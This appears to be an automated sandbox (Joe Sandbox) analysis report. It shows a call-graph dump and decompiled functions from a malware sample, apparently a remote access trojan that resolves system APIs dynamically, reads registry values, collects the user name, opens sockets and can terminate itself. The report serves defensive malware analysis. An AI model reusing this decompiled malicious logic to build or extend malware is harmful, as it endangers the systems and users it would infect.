48388->47779 48390 4041c8 48389->48390 48393 4041d9 48390->48393 48392 40419c 48392->48384 48394 4041e9 48393->48394 48395 404206 48394->48395 48396 4041ef 48394->48396 48397 4027e6 28 API calls 48395->48397 48398 404267 28 API calls 48396->48398 48399 404204 48397->48399 48398->48399 48399->48392 48401 40435f 48400->48401 48404 404371 48401->48404 48403 40436d 48403->48386 48405 40437f 48404->48405 48406 404385 48405->48406 48407 40439e 48405->48407 48470 4034e6 28 API calls 48406->48470 48408 402888 22 API calls 48407->48408 48409 4043a6 48408->48409 48411 404419 48409->48411 48412 4043bf 48409->48412 48471 4028a4 22 API calls std::_Xinvalid_argument 48411->48471 48414 4027e6 28 API calls 48412->48414 48423 40439c 48412->48423 48414->48423 48423->48403 48470->48423 48478 43a9ea 48472->48478 48476 413807 48475->48476 48477 4137dd RegSetValueExA RegCloseKey 48475->48477 48476->47798 48477->48476 48481 43a96b 48478->48481 48480 40170d 48480->47796 48482 43a97a 48481->48482 48483 43a98e 48481->48483 48487 44052d 20 API calls __dosmaperr 48482->48487 48486 43a97f pre_c_initialization __alldvrm 48483->48486 48488 448827 11 API calls 2 library calls 48483->48488 48486->48480 48487->48486 48488->48486 48492 41b84b ctype ___scrt_fastfail 48489->48492 48490 402093 28 API calls 48491 414e97 48490->48491 48491->47804 48492->48490 48493->47821 48495 414e50 getaddrinfo WSASetLastError 48494->48495 48496 414e46 48494->48496 48495->47849 48634 414cd4 29 API calls ___std_exception_copy 48496->48634 48498 414e4b 48498->48495 48500 404846 socket 48499->48500 48501 404839 48499->48501 48503 404860 CreateEventW 48500->48503 48504 404842 48500->48504 48635 40489e WSAStartup 48501->48635 48503->47849 48504->47849 48505 40483e 48505->48500 48505->48504 48507 404f65 48506->48507 48508 404fe6 48506->48508 48509 404f6e 48507->48509 48510 404fc0 CreateEventA 48507->48510 48511 404f7d GetLocalTime 48507->48511 48508->47849 48509->48510 48510->48508 48512 41bae0 28 API calls 48511->48512 48513 404f91 48512->48513 48636 4052fd 28 API calls 48513->48636 48522 404a1b 48521->48522 48523 4048ee 48521->48523 48524 404a21 WSAGetLastError 48522->48524 48575 40497e 48522->48575 48525 404923 48523->48525 48527 40531e 28 API calls 48523->48527 48523->48575 48526 404a31 48524->48526 48524->48575 48637 420bb2 27 API calls 48525->48637 48528 404932 48526->48528 48529 404a36 48526->48529 48531 40490f 48527->48531 48535 402093 28 API calls 48528->48535 48642 41ca33 30 API calls 48529->48642 48536 402093 28 API calls 48531->48536 48533 40492b 48533->48528 48534 404941 48533->48534 48544 404950 48534->48544 48545 404987 48534->48545 48538 404a80 48535->48538 48539 40491e 48536->48539 48537 404a40 48643 4052fd 28 API calls 48537->48643 48541 402093 28 API calls 48538->48541 48542 41b441 80 API calls 48539->48542 48546 404a8f 48541->48546 48542->48525 48548 402093 28 API calls 48544->48548 48639 421992 54 API calls 48545->48639 48549 41b441 80 API calls 48546->48549 48554 40495f 48548->48554 48549->48575 48552 40498f 48555 4049c4 48552->48555 48556 404994 48552->48556 48558 402093 28 API calls 48554->48558 48641 420d58 28 API calls 48555->48641 48559 402093 28 API calls 48556->48559 48561 40496e 48558->48561 48563 4049a3 48559->48563 48564 41b441 80 API calls 48561->48564 48566 402093 28 API calls 48563->48566 48579 404973 48564->48579 48565 4049cc 48567 4049f9 CreateEventW CreateEventW 48565->48567 48569 402093 28 API calls 48565->48569 48568 4049b2 48566->48568 48567->48575 48570 41b441 80 API calls 48568->48570 48572 4049e2 48569->48572 48574 4049b7 48570->48574 48573 402093 28 API calls 48572->48573 48576 4049f1 48573->48576 48640 421004 52 API calls 48574->48640 48575->47849 48578 41b441 80 API calls 48576->48578 48580 4049f6 48578->48580 48638 41e663 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 48579->48638 48580->48567 48644 41b708 GlobalMemoryStatusEx 48581->48644 48583 41b747 48583->47849 48645 4144ce 48584->48645 48588 40dcf3 48587->48588 48589 41344d 3 API calls 48588->48589 48590 40dcfa 48589->48590 48591 413497 3 API calls 48590->48591 48592 40dd12 48590->48592 48591->48592 48592->47849 48594 4020b7 28 API calls 48593->48594 48595 41bba9 48594->48595 48595->47849 48597 41bc7d 48596->48597 48598 4020b7 28 API calls 48597->48598 48599 41bc8f 48598->48599 48599->47849 48601 441dd1 20 API calls 48600->48601 48602 41bb04 48601->48602 48603 402093 28 API calls 48602->48603 48604 41bb12 48603->48604 48604->47849 48606 41ba4e GetTickCount 48605->48606 48606->47877 48608 436de0 ___scrt_fastfail 48607->48608 48609 41ba07 GetForegroundWindow GetWindowTextW 48608->48609 48610 40417e 28 API calls 48609->48610 48611 41ba31 48610->48611 48611->47856 48613 404e40 SetEvent FindCloseChangeNotification 48612->48613 48614 404e57 closesocket 48612->48614 48615 404ed8 48613->48615 48616 404e64 48614->48616 48615->47849 48617 404e73 48616->48617 48618 404e7a 48616->48618 48675 4050e4 84 API calls 48617->48675 48619 404e8c WaitForSingleObject 48618->48619 48620 404ece SetEvent FindCloseChangeNotification 48618->48620 48676 41e663 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 48619->48676 48620->48615 48623 404e9b SetEvent WaitForSingleObject 48677 41e663 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 48623->48677 48625 404eb3 SetEvent CloseHandle CloseHandle 48625->48620 48626->47849 48627->47849 48629->47856 48630->47856 48631->47856 48632->47856 48633->47856 48634->48498 48635->48505 48637->48533 48638->48575 48639->48552 48640->48579 48641->48565 48642->48537 48644->48583 48648 4144a1 48645->48648 48649 4144b6 ___scrt_initialize_default_local_stdio_options 48648->48649 48652 43f6ed 48649->48652 48655 43c440 48652->48655 48656 43c480 48655->48656 48657 43c468 48655->48657 48656->48657 48659 43c488 48656->48659 48670 44052d 20 API calls __dosmaperr 48657->48670 48671 43a707 36 API calls 2 library calls 48659->48671 48661 43c498 48672 43cbc6 20 API calls 2 library calls 48661->48672 48662 43c46d pre_c_initialization 48663 434f3b __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 48662->48663 48666 4144c4 48663->48666 48665 43c510 48673 43d234 51 API calls 3 library calls 48665->48673 48666->47849 48669 43c51b 48674 43cc30 20 API calls _free 48669->48674 48670->48662 48671->48661 48672->48665 48673->48669 48674->48662 48675->48618 48676->48623 48677->48625 48678->47920 48679->47947 48680->47946 48681->47935 48682->47939 48683->47945 48686 40f710 48684->48686 48685 413497 3 API calls 48685->48686 48686->48685 48687 40f7b4 48686->48687 48689 40f7a4 Sleep 48686->48689 48694 40f742 48686->48694 48690 40905c 28 API calls 48687->48690 48688 40905c 28 API calls 48688->48694 48689->48686 48693 40f7bf 48690->48693 48692 41bbb0 28 API calls 48692->48694 48695 41bbb0 28 API calls 48693->48695 48694->48688 48694->48689 48694->48692 48699 401f09 11 API calls 48694->48699 48702 402093 28 API calls 48694->48702 48706 4136bd 14 API calls 48694->48706 48711 40cfe4 112 API calls ___scrt_fastfail 48694->48711 48712 413762 14 API calls 48694->48712 48696 40f7cb 48695->48696 48713 413762 14 API calls 48696->48713 48699->48694 48700 40f7de 48701 401f09 11 API calls 48700->48701 48703 40f7ea 48701->48703 48702->48694 48704 402093 28 API calls 48703->48704 48705 40f7fb 48704->48705 48707 4136bd 14 API calls 48705->48707 48706->48694 48708 40f80e 48707->48708 48714 41279e TerminateProcess WaitForSingleObject 48708->48714 48710 40f816 ExitProcess 48712->48694 48713->48700 48714->48710 48715 426b2e 48721 426c03 recv 48715->48721 48722 41df0f 48723 41df24 ctype ___scrt_fastfail 48722->48723 48724 41e127 48723->48724 48741 432e16 21 API calls new 48723->48741 48730 41e0db 48724->48730 48736 41dab4 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection ___scrt_fastfail 48724->48736 48727 41e138 48727->48730 48737 432e16 21 API calls new 48727->48737 48729 41e0d4 ___scrt_fastfail 48729->48730 48742 432e16 21 API calls new 48729->48742 48732 41e171 ___scrt_fastfail 48732->48730 48738 43349c 48732->48738 48734 41e101 ___scrt_fastfail 48734->48730 48743 432e16 21 API calls new 48734->48743 48736->48727 48737->48732 48744 4333bb 48738->48744 48740 4334a4 48740->48730 48741->48729 48742->48734 48743->48724 48745 4333ca 48744->48745 48746 4333d4 48744->48746 48745->48740 48746->48745 48750 432e16 21 API calls new 48746->48750 48748 4333f5 48748->48745 48751 433789 CryptAcquireContextA 48748->48751 48750->48748 48752 4337a5 48751->48752 48753 4337aa CryptGenRandom 48751->48753 48752->48745 48753->48752 48754 4337bf CryptReleaseContext 48753->48754 48754->48752 48755 426b9d 48760 426c1a send 48755->48760

                                    Executed Functions

                                    Function 0040F6F5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    C-Code - Quality: 56%
                                    			E0040F6F5() {
				signed int _v32;
				void* _t13;
				void* _t22;
				char* _t34;
				void* _t63;
				signed int _t64;
				void* _t66;
				void* _t67;
				void* _t69;

				_t66 = (_t64 & 0xfffffff8) - 0x1c;
				_t34 = L"pth_unenc";
				while(1) {
					_v32 = _v32 & 0x00000000;
					_t52 = E00401FAB(0x4752f0); // executed
					E00413497(_t10, "override",  &_v32); // executed
					_t13 = _v32 - 1;
					if(_t13 == 0) {
						goto L5;
					}
					_t22 = _t13 - 1;
					if(_t22 == 0) {
						_t70 = _t66 - 0x1c;
						E0040905C(_t34, _t66 - 0x1c, _t52, __eflags, 0x4752d8);
						_push(_t34);
						E00413762(0x80000001, E00401F04(E0041BBB0( &_v32, 0x4752f0)));
						E00401F09();
						_push(1);
						E00402093(_t34, _t70 + 0x20 - 0x18, _t25, _t63, "4.9.1 Pro");
						_push("v");
						E004136BD(0x4752f0, E00401FAB(0x4752f0));
						E0041279E();
						ExitProcess(0);
					}
					_t77 = _t22 != 1;
					if(_t22 != 1) {
						L6:
						Sleep(0xbb8); // executed
						continue;
					}
					E0040CFE4();
					L5:
					_t67 = _t66 - 0x1c;
					E0040905C(_t34, _t67, _t52, _t77, 0x4752d8);
					_push(_t34);
					E00413762(0x80000001, E00401F04(E0041BBB0( &_v32, 0x4752f0)));
					E00401F09();
					_push(1);
					_t69 = _t67 + 0x20 - 0x18;
					E00402093(_t34, _t69, _t16, _t63, "4.9.1 Pro");
					_push("v");
					E004136BD(0x4752f0, E00401FAB(0x4752f0));
					_t66 = _t69 + 0x20;
					goto L6;
				}
			}












                                    0x0040f6fb
                                    0x0040f70b
                                    0x0040f710
                                    0x0040f710
                                    0x0040f726
                                    0x0040f728
                                    0x0040f733
                                    0x0040f736
                                    0x00000000
                                    0x00000000
                                    0x0040f738
                                    0x0040f73b
                                    0x0040f7b4
                                    0x0040f7ba
                                    0x0040f7bf
                                    0x0040f7d9
                                    0x0040f7e5
                                    0x0040f7ea
                                    0x0040f7f6
                                    0x0040f7fb
                                    0x0040f809
                                    0x0040f811
                                    0x0040f818
                                    0x0040f818
                                    0x0040f73d
                                    0x0040f740
                                    0x0040f7a4
                                    0x0040f7a9
                                    0x00000000
                                    0x0040f7a9
                                    0x0040f742
                                    0x0040f747
                                    0x0040f747
                                    0x0040f74d
                                    0x0040f752
                                    0x0040f76c
                                    0x0040f778
                                    0x0040f77d
                                    0x0040f77f
                                    0x0040f789
                                    0x0040f78e
                                    0x0040f79c
                                    0x0040f7a1
                                    0x00000000
                                    0x0040f7a1

                                    APIs
                                      • Part of subcall function 00413497: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 004134B7
                                      • Part of subcall function 00413497: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,?,004752F0), ref: 004134D5
                                      • Part of subcall function 00413497: RegCloseKey.KERNEL32(?), ref: 004134E0
                                    • Sleep.KERNEL32(00000BB8), ref: 0040F7A9
                                    • ExitProcess.KERNEL32 ref: 0040F818
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseExitOpenProcessQuerySleepValue
                                    • String ID: 4.9.1 Pro$override$pth_unenc
                                    • API String ID: 2281282204-3747139503
                                    • Opcode ID: 885d7ec4cf6ffeb6c52a7aed82e7e83c92de8c79478b48254ec0e956ed963c60
                                    • Instruction ID: 70a54ab574ef53f1eca7b6351facbcc81d6026bfb61705fd9f92cf99d70cbea3
                                    • Opcode Fuzzy Hash: 885d7ec4cf6ffeb6c52a7aed82e7e83c92de8c79478b48254ec0e956ed963c60
                                    • Instruction Fuzzy Hash: 8621F171B0430167C614BA7A885BAAE39999B81718F90007FF506676D7EF7C8E0483EF
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00433789 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 71%
                                    			E00433789(HCRYPTPROV* __ecx, BYTE* __edx) {
				int _v12;
				int _t2;
				void* _t6;
				BYTE* _t9;
				long** _t10;

				_t10 = __ecx;
				_t9 = __edx;
				_t2 = CryptAcquireContextA(__ecx, 0, 0, 1, 0xf0000000); // executed
				if(_t2 != 0) {
					if(CryptGenRandom( *_t10, _v12, _t9) != 0) {
						CryptReleaseContext( *_t10, 0);
						return 0;
					}
					_push(0xffffff98);
					L2:
					_pop(_t6);
					return _t6;
				}
				_push(0xffffff99);
				goto L2;
			}








                                    0x00433794
                                    0x00433796
                                    0x0043379b
                                    0x004337a3
                                    0x004337b9
                                    0x004337c3
                                    0x00000000
                                    0x004337c9
                                    0x004337bb
                                    0x004337a7
                                    0x004337a7
                                    0x00000000
                                    0x004337a7
                                    0x004337a5
                                    0x00000000

                                    APIs
                                    • CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,?,00000000,00433411,00000034,?,?,0083D868), ref: 0043379B
                                    • CryptGenRandom.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,004334A4,00000000,?,00000000), ref: 004337B1
                                    • CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,?,004334A4,00000000,?,00000000,0041E1A3), ref: 004337C3
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Crypt$Context$AcquireRandomRelease
                                    • String ID:
                                    • API String ID: 1815803762-0
                                    • Opcode ID: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                                    • Instruction ID: a5482b18998dedd20b89570187be27494860b9e78d0d2ef960482c6f34bff5fd
                                    • Opcode Fuzzy Hash: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                                    • Instruction Fuzzy Hash: CBE092B1208350FEEB300F21AC08F573A64EB89F72F204A3AF151E41E4D3568801861C
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041B55F Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 82%
                                    			E0041B55F(void* __ecx, void* __edx, void* __edi, void* __eflags) {
				char _v8;
				long _v12;
				char _v36;
				char _v60;
				char _v92;
				short _v604;
				void* __ebp;
				void* _t26;
				void* _t35;
				void* _t39;
				void* _t40;
				void* _t41;

				_t41 = __eflags;
				_t35 = __edx;
				_v8 = 0x10;
				_t39 = __ecx;
				 *0x474b08(1,  &_v92,  &_v8); // executed
				_v12 = 0x100;
				GetUserNameW( &_v604,  &_v12); // executed
				E00403014(_t26, _t39, E004042FC(_t26,  &_v36,  &_v92, _t40, _t41, E0040417E(_t26,  &_v60, _t35, _t40, "/")), __edi, _t40, _t41,  &_v604);
				E00401F09();
				E00401F09();
				return _t39;
			}















                                    0x0041b55f
                                    0x0041b55f
                                    0x0041b56c
                                    0x0041b577
                                    0x0041b57c
                                    0x0041b585
                                    0x0041b594
                                    0x0041b5bf
                                    0x0041b5c8
                                    0x0041b5d0
                                    0x0041b5db

                                    APIs
                                    • GetUserNameW.ADVAPI32(?,0040F171), ref: 0041B594
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: NameUser
                                    • String ID:
                                    • API String ID: 2645101109-0
                                    • Opcode ID: 9167295f8432bcd57fb576626eea4e25c386a7a518f3d3aa5e9611e2b6c4d6a9
                                    • Instruction ID: 2f1a7eaa0fafc1393a04fa3680ad11d69711b7caddb5f837a5711c727b94ccef
                                    • Opcode Fuzzy Hash: 9167295f8432bcd57fb576626eea4e25c386a7a518f3d3aa5e9611e2b6c4d6a9
                                    • Instruction Fuzzy Hash: 3B014F7190011CABCB01EBD5DC45EEDB7BCAF44309F10016AB505B61A1EFB46E88CBA8
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00426C03 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: recv
                                    • String ID:
                                    • API String ID: 1507349165-0
                                    • Opcode ID: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                                    • Instruction ID: 54da5cb0358175ea3eef87e0ba5f02fe09cc36e19498aa822303b7a5c5cf0de8
                                    • Opcode Fuzzy Hash: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                                    • Instruction Fuzzy Hash: 38B09B75108302FFC6150750CC0486A7D66DBC8351B00481C714641170C736C8519725
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00434A99 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00434A99() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E00434AA5); // executed
				return _t1;
			}




                                    0x00434a9e
                                    0x00434aa4

                                    APIs
                                    • SetUnhandledExceptionFilter.KERNEL32(Function_00034AA5,004347CC), ref: 00434A9E
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExceptionFilterUnhandled
                                    • String ID:
                                    • API String ID: 3192549508-0
                                    • Opcode ID: 8f7befd613e9f4576bff752c97159f674de34be9db8ccc82579e4da1a5649bf0
                                    • Instruction ID: 1c0be8fb048df6dcd1db7d98d356f418dcf65ad36d7e086b12947e27e5725e8e
                                    • Opcode Fuzzy Hash: 8f7befd613e9f4576bff752c97159f674de34be9db8ccc82579e4da1a5649bf0
                                    • Instruction Fuzzy Hash:
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041CAA2 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176libraryloaderCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    C-Code - Quality: 100%
                                    			E0041CAA2() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;
				_Unknown_base(*)()* _t4;
				_Unknown_base(*)()* _t32;
				struct HINSTANCE__* _t33;
				_Unknown_base(*)()* _t40;
				struct HINSTANCE__* _t41;
				_Unknown_base(*)()* _t48;
				CHAR* _t54;
				CHAR* _t57;
				CHAR* _t58;
				CHAR* _t59;
				CHAR* _t60;

				_t57 = "GetProcessImageFileNameW";
				_t1 = LoadLibraryA("Psapi"); // executed
				_t2 = GetProcAddress(_t1, _t57);
				 *0x474b0c = _t2;
				if(_t2 == 0) {
					 *0x474b0c = GetProcAddress(GetModuleHandleA("Kernel32"), _t57);
				}
				_t58 = "SetProcessDpiAwareness";
				_t4 = GetProcAddress(LoadLibraryA("shcore"), _t58);
				 *0x474ae8 = _t4;
				if(_t4 == 0) {
					 *0x474aec = GetProcAddress(LoadLibraryA("user32"), _t58);
				}
				_t59 = "ntdll";
				GetProcAddress(LoadLibraryA(_t59), "NtUnmapViewOfSection");
				 *0x474afc = GetProcAddress(LoadLibraryA("kernel32"), "GlobalMemoryStatusEx");
				 *0x474b04 = GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
				 *0x474b08 = GetProcAddress(GetModuleHandleA("kernel32"), "GetComputerNameExW");
				 *0x474af8 = GetProcAddress(LoadLibraryA("Shell32"), "IsUserAnAdmin");
				 *0x474af0 = GetProcAddress(GetModuleHandleA("kernel32"), "SetProcessDEPPolicy");
				 *0x474ae0 = GetProcAddress(GetModuleHandleA("user32"), "EnumDisplayDevicesW");
				 *0x474ae4 = GetProcAddress(GetModuleHandleA("user32"), "EnumDisplayMonitors");
				 *0x474adc = GetProcAddress(GetModuleHandleA("user32"), "GetMonitorInfoW");
				 *0x474b14 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemTimes");
				 *0x474ad8 = GetProcAddress(LoadLibraryA("Shlwapi"), 0xc);
				 *0x474b18 = GetProcAddress(LoadLibraryA("kernel32"), "GetConsoleWindow");
				 *0x474b10 = GetProcAddress(GetModuleHandleA(_t59), "NtSuspendProcess");
				_t32 = GetProcAddress(GetModuleHandleA(_t59), "NtResumeProcess");
				_t60 = "Iphlpapi";
				 *0x474b00 = _t32;
				_t33 = LoadLibraryA(_t60); // executed
				 *0x474b3c = GetProcAddress(_t33, "GetExtendedTcpTable");
				 *0x474b38 = GetProcAddress(LoadLibraryA(_t60), "GetExtendedUdpTable");
				 *0x474b24 = GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationProcess");
				_t40 = GetProcAddress(GetModuleHandleA("kernel32"), "GetFinalPathNameByHandleW");
				_t54 = "Rstrtmgr";
				 *0x474b28 = _t40;
				_t41 = LoadLibraryA(_t54); // executed
				 *0x474b30 = GetProcAddress(_t41, "RmStartSession");
				 *0x474b20 = GetProcAddress(LoadLibraryA(_t54), "RmRegisterResources");
				 *0x474b2c = GetProcAddress(LoadLibraryA(_t54), "RmGetList");
				_t48 = GetProcAddress(LoadLibraryA(_t54), "RmEndSession");
				 *0x474b1c = _t48;
				return _t48;
			}
















                                    0x0041caac
                                    0x0041cab7
                                    0x0041cac0
                                    0x0041cac8
                                    0x0041cacf
                                    0x0041cadc
                                    0x0041cadc
                                    0x0041cae1
                                    0x0041caef
                                    0x0041caf1
                                    0x0041caf8
                                    0x0041cb05
                                    0x0041cb05
                                    0x0041cb0f
                                    0x0041cb18
                                    0x0041cb33
                                    0x0041cb47
                                    0x0041cb5b
                                    0x0041cb6f
                                    0x0041cb83
                                    0x0041cb97
                                    0x0041cbab
                                    0x0041cbbf
                                    0x0041cbd0
                                    0x0041cbe4
                                    0x0041cbf4
                                    0x0041cc04
                                    0x0041cc0c
                                    0x0041cc13
                                    0x0041cc18
                                    0x0041cc1e
                                    0x0041cc29
                                    0x0041cc3d
                                    0x0041cc51
                                    0x0041cc59
                                    0x0041cc60
                                    0x0041cc65
                                    0x0041cc6b
                                    0x0041cc76
                                    0x0041cc86
                                    0x0041cc96
                                    0x0041cc9e
                                    0x0041cca3
                                    0x0041cca9

                                    APIs
                                    • LoadLibraryA.KERNEL32(Psapi,GetProcessImageFileNameW,?,?,?,?,0040E92F), ref: 0041CAB7
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CAC0
                                    • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E92F), ref: 0041CAD7
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CADA
                                    • LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040E92F), ref: 0041CAEC
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CAEF
                                    • LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040E92F), ref: 0041CB00
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CB03
                                    • LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040E92F), ref: 0041CB15
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CB18
                                    • LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040E92F), ref: 0041CB24
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CB27
                                    • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E92F), ref: 0041CB38
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CB3B
                                    • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E92F), ref: 0041CB4C
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CB4F
                                    • LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040E92F), ref: 0041CB60
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CB63
                                    • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E92F), ref: 0041CB74
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CB77
                                    • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E92F), ref: 0041CB88
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CB8B
                                    • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E92F), ref: 0041CB9C
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CB9F
                                    • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E92F), ref: 0041CBB0
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CBB3
                                    • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E92F), ref: 0041CBC4
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CBC7
                                    • LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040E92F), ref: 0041CBD5
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CBD8
                                    • LoadLibraryA.KERNEL32(kernel32,GetConsoleWindow,?,?,?,?,0040E92F), ref: 0041CBE9
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CBEC
                                    • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040E92F), ref: 0041CBF9
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CBFC
                                    • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040E92F), ref: 0041CC09
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CC0C
                                    • LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedTcpTable,?,?,?,?,0040E92F), ref: 0041CC1E
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CC21
                                    • LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedUdpTable,?,?,?,?,0040E92F), ref: 0041CC2E
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CC31
                                    • GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040E92F), ref: 0041CC42
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CC45
                                    • GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040E92F), ref: 0041CC56
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CC59
                                    • LoadLibraryA.KERNEL32(Rstrtmgr,RmStartSession,?,?,?,?,0040E92F), ref: 0041CC6B
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CC6E
                                    • LoadLibraryA.KERNEL32(Rstrtmgr,RmRegisterResources,?,?,?,?,0040E92F), ref: 0041CC7B
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CC7E
                                    • LoadLibraryA.KERNEL32(Rstrtmgr,RmGetList,?,?,?,?,0040E92F), ref: 0041CC8B
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CC8E
                                    • LoadLibraryA.KERNEL32(Rstrtmgr,RmEndSession,?,?,?,?,0040E92F), ref: 0041CC9B
                                    • GetProcAddress.KERNEL32(00000000), ref: 0041CC9E
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressProc$LibraryLoad$HandleModule
                                    • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                                    • API String ID: 4236061018-3687161714
